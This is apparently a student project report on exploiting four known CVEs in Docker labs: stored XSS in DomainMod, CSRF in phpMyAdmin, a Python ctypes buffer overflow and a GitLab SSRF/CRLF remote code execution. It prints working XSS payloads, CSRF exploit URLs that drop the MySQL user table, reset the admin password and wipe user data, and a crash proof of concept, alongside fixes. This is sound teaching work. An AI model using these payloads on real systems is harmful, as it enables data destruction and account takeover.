# CVE Vulnerabilities Exploitation Project
## Tasks Distribution
* Kamil Rizatdinov - Cross-site scripting
* Rufina Talalaeva - Cross-site request forgery & Presentation Design
* Evgeniy Trantsev - Buffer overflow
* Renat Valeev - Remote code execution
## Presentation Link
https://docs.google.com/presentation/d/1hoVtLTXjJcgxShOPfqDZBZx9JyamG8Nu-s7gE-BcHU4/edit#slide=id.gc6666ffa66_0_188
## Task Description
You will explore existing software vulnerabilities by creating 3 different attack scenarios that exploit these vulnerabilities. Each attack scenario should be placed in a Docker virtual environment, described in the report and demonstrated in the presentation.
The following is a list of common category types of software vulnerabilities provided by the Common Weakness Enumeration (CWETM) community: https://cwe.mitre.org/data/definitions/699.html
Choose only 3 vulnerabilities (no more than 2 web related vulnerabilities) from the category list above and find out how they arise.
Find your vulnerabilities in the real production systems and existing exploits for them. For these purposes use the publicly known cybersecurity vulnerabilities list ( CVE list: https://cve.mitre.org/index.html ) and exploit database ( exploit-db: https://www.exploit-db.com ). Deploy the necessary environment with Docker for each vulnerability. Use an existing exploit or write your own to attack the deployed system. Describe the steps you performed to attack the system and propose protection mechanisms.
## CVE Vulnerabilities Exploitation
### DomainMod admin panel stored XSS
| Name | Value |
| ----- | ----- |
| CVE ID | 2018-19915 |
| Vendor Homepage | https://domainmod.org/ |
| GitHub | https://github.com/DomainMod/DomainMod |
| Vulnerable Software Version | v4.09.03 to v4.11.01 |
| Originally exploit was found in exploit DB |https://www.exploit-db.com/exploits/46376 |
**What is stored XSS?**
The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.
Definition can be found at Common Weakness Enumeration website: https://cwe.mitre.org/data/definitions/79.html
**Virtual Environment**
In order to create an image of vulnerable version of software I adjusted the existing Dockerfile:

As you can see from the screenshots above I pulled the repository up to v4.11.01 version tag, what allowed me to build an image of vulnerable software version.
Images I have build and docker-compose file, which configures and starts this images can be found at DockerHub:
* Application Image - https://hub.docker.com/repository/docker/rizatdinov/domainmod_app
* Database Image - https://hub.docker.com/repository/docker/rizatdinov/domainmod_db
Applicaton can be deployed using `docker-compose up` command
**How to find vulnerability?**
In order to find the XSS vulnerability application should be installed and configured (configuration occurs automatically in case of deployment using docker). After that we are inside the administrator panel of our self-hosted DomainMod. Proceed into adding the new host and fill the input forms with the following content:

New host is added sucessfully, now it's time to inspect how the values of this fields affect the page structure. In order to do that open the Page Inspector tool and find the values we passed as web host and it's URL:

In order to escape the HTML elements and perform some JS actions we can substitute:
* `"<script>alert('XSS')</script>` as a value of "Web Host Name"
* `"></a><script>alert('XSS')</script>` as a value of "Web Host URL"
Here is the result:

The resulting JS code is stored on the page, so if someone decide to open the hosts page he/she will see the alert message as well. This fact can be used in the attack scenario.
**Attack scenario**
Assume that you are an attacker and you want to get the administrator password, one way to do that is to ask administrator to create a host with specific Host Name and Host URL values.
**POC**

Now, every time administrator opens the page with lists of created hosts he/she sees the promt which asks to enter the password. Once password is entered it being sent to attacker's requestbin:


**Possible solution**
Possible solution of this vulnerability is to filter special charactres from the user input. This vulnerability was fixed in [v4.12.0](https://github.com/domainmod/domainmod/releases/tag/v4.12.0) in commits `42cca3e7669c463a0be2133595a4666df99b683c`, `b6080a7670654f9f3691777cc85a3cc3d5d67ed8`, `5f351c682053250e6cae7116358f0609424da98`, `a4cc9c8d6ad6448814556e4e87f65f69c3dee889`.
All input is properly filtered now:

In order to view the commits use this base URL: `https://github.com/domainmod/domainmod/commit/{COMMIT_ID}`
### phpMyAdmin CSRF exploitation in HTTP GET requests
| Name | Value |
| ----- | ----- |
| CVE ID | 2017-1000499 |
| Vendor Homepage | https://www.phpmyadmin.net/ |
| GitHub | https://github.com/phpmyadmin/phpmyadmin |
| Vulnerable Software Version | < v4.7.7 |
| Originally exploit was found in exploit DB |https://www.exploit-db.com/exploits/45284 |
**Virtual Environment**
The man who explored the attack already has done an image of vulnerable version of phpMyAdmin. In order to demonstrate 3 different CSRF attacks we created a simple webapp with kittens images and vulnerable links with payload inside of them.
Thus, we wrote a docker-compose for running 2 services: vulnerable version of phpMyAdmin and web app with kittens:
```yaml
version: '3'
services:
web:
image: vsplate/pmasa-2017-9:latest
ports:
- "80:80"
kitten:
image: nufusrufus/kitten
ports:
- "8080:80"
```
Link to our web app: https://github.com/rufusnufus/NCS
Initial phpMyAdmin admin credentials: root:toor
**How to find vulnerability?**
In order to find the vulnerability on phpMyAdmin page I created an empty table called "test" with one column called "test_field", here you can see it:

Now if proceed with the following URL the new entry is created:
`http://127.0.0.1/pma/sql.php?server=1&db=test&table=test&sql_query=INSERT+INTO+`test`+(`test_field`)+VALUES+(%271%27)`


This means that if someone will send me this URL a new entry will be created after I open the link, allowing attacker to invent something more threating.
**Attack scenario**
Assume that you are an attacker and you want to conduct the attack on data stored in phpMyAdmin. In order to do that you can use the fact obtained in previous step - if user with administrator account opens the vulnerable link SQL query injected into URL query is executed.
I created three different scenarios:
* Attacker deletes user table, deleting all the credentials of all users. Now no one can access the admin panel.
* Attacker changes the administrator password.
* Attacker drops all user-defined databases.
**POC**
For your convenience I created simple web application consisting of four pages (three of them holding exploit URLs). Application code can be found here: https://github.com/rufusnufus/NCS.
* Home page does nothing threatening
* Page with kitten #1 deletes the user table:
Exploit SQL query:
``` sql
DROP TABLE 'user'
```
Exploit URL: `http://127.0.0.1:80/pma/sql.php?db=mysql&table=user&reload=1&purge=1&sql_query=DROP+TABLE+%60user%60`
If administrator opens the page with kitten #1 he/she will see that there is no "user" table anymore and all his/her actions are now prohibited:
* Before:

* After:

* Page with kitten #2 changes administrator password to "password":
Exploit SQL query:
``` sql
SET passsword=PASSWORD('password');
```
Exploit URL: `http://127.0.0.1:80/pma/sql.php?db=mysql&table=user&sql_query=SET%20password%20=%20PASSWORD(%27password%27)`
If administrator opens the page with kitten #2 he/she will see that his/her old password does not work anymore:

* Page with kitten #3 drops all user-defined databases:
Exploit SQL query:
``` sql
DROP PROCEDURE IF EXISTS EMPT;
DELIMITER $$
CREATE PROCEDURE EMPT()
BEGIN
DECLARE i INT;
SET i = 0;
WHILE i < 100 DO
SET @del = (
SELECT CONCAT(
'DELETE FROM ',
TABLE_SCHEMA,
'.',
TABLE_NAME
) FROM information_schema.TABLES
WHERE TABLE_SCHEMA NOT LIKE '%_schema'
and TABLE_SCHEMA!='mysql' LIMIT i,1);
PREPARE STMT FROM @del;
EXECUTE STMT;
SET i = i +1;
END WHILE;
END $$
DELIMITER ;
CALL EMPT();
```
Exploit URL: `http://127.0.0.1:80/pma/import.php?db=mysql&table=db&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A`
If administrator opens the page with kitten #3 he/she will see that user-created databases are dropped:
* Before:

* After:

**Possible solution**
Possible solution of this vulnerability is to request a token to be sent on sensitive requests. The idea is that an attacker does not poses the currently valid token to include in the presented link.
This vulnerability was fixed in [v4.7.7](https://github.com/phpmyadmin/phpmyadmin/releases/tag/RELEASE_4_7_7) in commit [edd929216ade9f7c150a262ba3db44db0fed0e1b](https://github.com/phpmyadmin/phpmyadmin/commit/edd929216ade9f7c150a262ba3db44db0fed0e1b)
Token validation is present in GET requests from that version:

### Python3 ctypes buffer overflow in string representation
| Name | Value |
| ----- | ----- |
| CVE ID | 2021-3177 |
| Vendor Homepage | https://www.python.org/ |
| GitHub | https://github.com/python/cpython |
| Vulnerable Software Version | v3.6.0 to v3.9.1|
| Originally exploit was found in NVD CVE | https://nvd.nist.gov/vuln/detail/CVE-2021-3177 |
Buffer overflow in python up to 3.9.1 in ctypes library.`PyCArg_repr()` a function that returns text representation of C style parameter, for example double is `<cparam 'd' (1.000000)>`. This makes programms that accept untrusted float input into ctypes vulnerable
https://nvd.nist.gov/vuln/detail/CVE-2021-3177
Weakness: Classic Buffer Overflow CWE-120
https://cwe.mitre.org/data/definitions/120.html
Vulnerable code:
```c
char buffer[256];
...
case 'd':
sprintf(buffer, "<cparam %c' (%f)>", self->tag, self->value.d);
break;
```
https://bugs.python.org/issue42938
Since the size of the buffer is limited and the value is put in the buffer in its full form, long enough number will trigger an overflow it will overflow it.
Size of buffer `256 - len(""<cparam "d" ()>') = 241`, thus if the number is longer than 241 symbols it will trigger an overflow, for example 1e300.
Even though inserted bytes are limited to numbers (from `0x30` to `0x39`) it is theoretically possible to get code execution with numeric shellcode(https://haxx.in/posts/numeric-shellcode/).
**POC**
```python
from ctypes import *
d = float(input()) # longer than 241 symbol
a = c_double.from_param(d)
print(a)
```
Simplest possible explotation is to cause a crash via buffer overflow detection.
**Possible solution**
Replace `sprintf` with `snprintf` which requires explisit declaration of maximum number of bytes to be used from buffer and increase buffer size to accomodate the maximal value of `1.79769e+308` which is the maximal value of double both in C and Python.
```c
char buffer[512];
case 'd':
snprintf(buffer, sizeof(buffer),
"<cparam %c' (%f)>", self->tag, self->value.d);
break;
```
Implemented solution was replacing standart C function with their own `PyUnicode_FromFormat()` and consequently geting rid of the local buffer.
Docker image with slightly different POC that was used during presentation:
Docker image: r0ach20/python_dos
GIT of the image: https://github.com/TAPAKAH20/python_dos_demo
### Remote Code Execution
| Name | Value |
| ----- | ----- |
| CVE ID | 2018-19571 2018-19585 |
| Vendor Homepage | https://about.gitlab.com/ |
| GitLab | https://gitlab.com/gitlab-org/gitlab/-/tree/v11.4.7-ee |
| Vulnerable Software Version | v11.4.7 |
| Originally exploit was found in exploit DB |https://www.exploit-db.com/exploits/49334 |
Description: GitLab vesrion 11.4.7 suffers from several vulnerabilities (CVE-2018–19571, CVE-2018–19585), which make Remote Code Execution attack possible.
`CVE-2018–19571`: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19571, SSRF (server-side request forgery) vulnerability in webhooks, in short, it allows an attacker to make requests to any local network resource accessible from the GitLab server using IPv6.
Usage example (taken from fixes in v.11.4.8 tests):

Basically, `0:0:0:0:0:ffff:127.0.0.1` IPv6 address is used for transfering IPv4 addresses through IPv6.
`CVE-2018–19585`: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19585, CRLF (carriage return/line feed) injection in Project Mirroring when using the Git protocol.
Usage example (taken from fixes in v.11.4.8 tests):

Description: don't filter `\n` and `\r` in requests, either hidden or not.
Using this two vulnerabilities, attacker may perform RCE attack on GitLab v.11.5.7
**POC**
Using SSRF, we can target local internal Redis database, which is commonly used for workers, and push some malicious code there to be executed. Redis uses ASCII line based protocol, so we can push malicious commands using SSRF directly to the Redis and using CRLF, can extend it using new line symbols to make more commands. And we are sending SSRF through http, which also simple ASCII line based protocol. Using netcat, which opens TCP connection, and knowing port, on which Redis is running(Redis runs on default port 6379), we can directly send GET requests to the Redis. Each line in the request then will be a command for Redis, either valid or not. But SSRF is a known attack for Redis disclosure, so founders tried to fix it, detecting GET requests by headers. Using CRLF vulnerability, we can insert our commands between GET and HOST headers. Actually, when sending the command, git:// was used instead of http://, because http filtered some needed data for penetration. Knowing and using this issues, several scripts for attacking was implemented, and one checked and verified as working. https://www.exploit-db.com/exploits/49334 One of them was used by our team.
**Possible solution**
https://gitlab.com/gitlab-org/gitlab/-/commits/v11.4.8-ee/, by commits `ecbdef090277848d409ed7f97f69f53bbac7a92c`, `70f35e4ffc3855718cef237921363db28f824b71`
Reinforced filters for requests.
